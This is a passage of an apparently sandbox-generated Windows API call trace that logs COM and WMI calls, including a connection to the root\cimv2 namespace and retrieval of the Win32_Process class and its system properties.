[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1c000760) returned 0x0 [0089.918] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000760, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0089.918] WbemLocator:IUnknown:AddRef (This=0x1c000760) returned 0x3 [0089.918] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000760, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0089.918] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000760, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0089.918] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000760, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0089.918] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0089.919] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0089.919] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000760, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0089.919] WbemLocator:IUnknown:Release (This=0x1c000760) returned 0x2 [0089.919] WbemLocator:IUnknown:Release (This=0x1c000760) returned 0x1 [0089.919] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0089.919] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0089.919] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000760, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c000760) returned 0x0 [0089.919] WbemLocator:IUnknown:AddRef (This=0x1c000760) returned 0x3 [0089.919] WbemLocator:IUnknown:Release (This=0x1c000760) returned 0x2 [0089.919] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b5a0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0089.919] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0089.919] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.919] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1c000780) returned 0x0 [0089.919] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c000780, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bea7c20) returned 0x0 [0090.047] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7c20, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11df5a0) returned 0x0 [0090.047] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11df5a0, pProxy=0x1bea7c20, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0090.047] WbemLocator:IUnknown:Release (This=0x11df5a0) returned 0x1 [0090.047] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7c20, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11df5e0) returned 0x0 [0090.047] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7c20, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11df5a0) returned 0x0 [0090.047] WbemLocator:IClientSecurity:SetBlanket (This=0x11df5a0, pProxy=0x1bea7c20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0090.048] WbemLocator:IUnknown:Release (This=0x11df5a0) returned 0x2 [0090.048] WbemLocator:IUnknown:Release (This=0x11df5e0) returned 0x1 [0090.048] CoTaskMemFree (pv=0x1bf3d640) [0090.048] WbemLocator:IUnknown:AddRef (This=0x1bea7c20) returned 0x2 [0090.048] WbemLocator:IUnknown:Release (This=0x1c000780) returned 0x0 [0090.048] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0090.048] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0090.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7c20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11df5b0) returned 0x0 [0090.049] WbemLocator:IRpcOptions:Query (in: This=0x11df5b0, pPrx=0x1c000560, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0090.049] WbemLocator:IUnknown:Release (This=0x11df5b0) returned 0x2 [0090.049] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0090.049] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0090.049] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7c20, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bea7c20) returned 0x0 [0090.049] WbemLocator:IUnknown:Release (This=0x1bea7c20) returned 0x2 [0090.049] SysStringLen (param_1=0x0) returned 0x0 [0090.049] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b5a0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0090.049] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0090.049] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.049] WbemDefPath:IWbemPath:GetText (in: This=0x119bde0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0090.049] WbemDefPath:IWbemPath:GetText (in: This=0x119bde0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0090.049] IWbemServices:GetObject (in: This=0x1bea7c20, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11ef7a0, ppCallResult=0x0) returned 0x0 [0090.053] IWbemClassObject:Get (in: This=0x11ef7a0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0090.053] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0090.053] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0090.053] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0090.053] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0090.053] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0090.053] IUnknown:Release (This=0x111f638) returned 0x1 [0090.055] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1c000780) returned 0x0 [0090.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c000780, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0090.055] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c000780, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x119c1a0) returned 0x0 [0090.056] WbemDefPath:IUnknown:Release (This=0x1c000780) returned 0x0 [0090.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x119c1a0) returned 0x0 [0090.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0090.056] WbemDefPath:IUnknown:AddRef (This=0x119c1a0) returned 0x3 [0090.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0090.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0090.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1c0007a0) returned 0x0 [0090.056] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0007a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.056] WbemDefPath:IUnknown:Release (This=0x1c0007a0) returned 0x3 [0090.056] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0090.056] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0090.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0090.056] WbemDefPath:IUnknown:Release (This=0x119c1a0) returned 0x2 [0090.056] WbemDefPath:IUnknown:Release (This=0x119c1a0) returned 0x1 [0090.056] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0090.056] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0090.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x119c1a0) returned 0x0 [0090.057] WbemDefPath:IUnknown:AddRef (This=0x119c1a0) returned 0x3 [0090.057] WbemDefPath:IUnknown:Release (This=0x119c1a0) returned 0x2 [0090.057] WbemDefPath:IWbemPath:SetText (This=0x119c1a0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0090.057] IWbemClassObject:Get (in: This=0x11ef7a0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0090.057] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0090.057] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0090.057] IWbemClassObject:Get (in: This=0x11ef7a0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0090.058] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0090.058] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0090.058] IWbemClassObject:Get (in: This=0x11ef7a0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0090.058] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0090.059] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0090.059] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0090.059] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0090.059] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0090.059] IUnknown:Release (This=0x111f638) returned 0x1 [0090.063] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c001100) returned 0x0 [0090.063] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001100, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0090.063] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001100, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119c0e0) returned 0x0 [0090.064] WbemDefPath:IUnknown:Release (This=0x1c001100) returned 0x0 [0090.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119c0e0) returned 0x0 [0090.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0090.064] WbemDefPath:IUnknown:AddRef (This=0x119c0e0) returned 0x3 [0090.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0090.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0090.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c000e20) returned 0x0 [0090.065] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c000e20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.065] WbemDefPath:IUnknown:Release (This=0x1c000e20) returned 0x3 [0090.065] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0090.065] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0090.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0090.065] WbemDefPath:IUnknown:Release (This=0x119c0e0) returned 0x2 [0090.065] WbemDefPath:IUnknown:Release (This=0x119c0e0) returned 0x1 [0090.065] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0090.066] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0090.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119c0e0) returned 0x0 [0090.066] WbemDefPath:IUnknown:AddRef (This=0x119c0e0) returned 0x3 [0090.066] WbemDefPath:IUnknown:Release (This=0x119c0e0) returned 0x2 [0090.066] WbemDefPath:IWbemPath:SetText (This=0x119c0e0, uMode=0x4, pszPath="") returned 0x0 [0090.066] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0090.066] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0090.066] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0090.066] IUnknown:Release (This=0x111f638) returned 0x1 [0090.070] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c001100) returned 0x0 [0090.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001100, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0090.070] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001100, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, 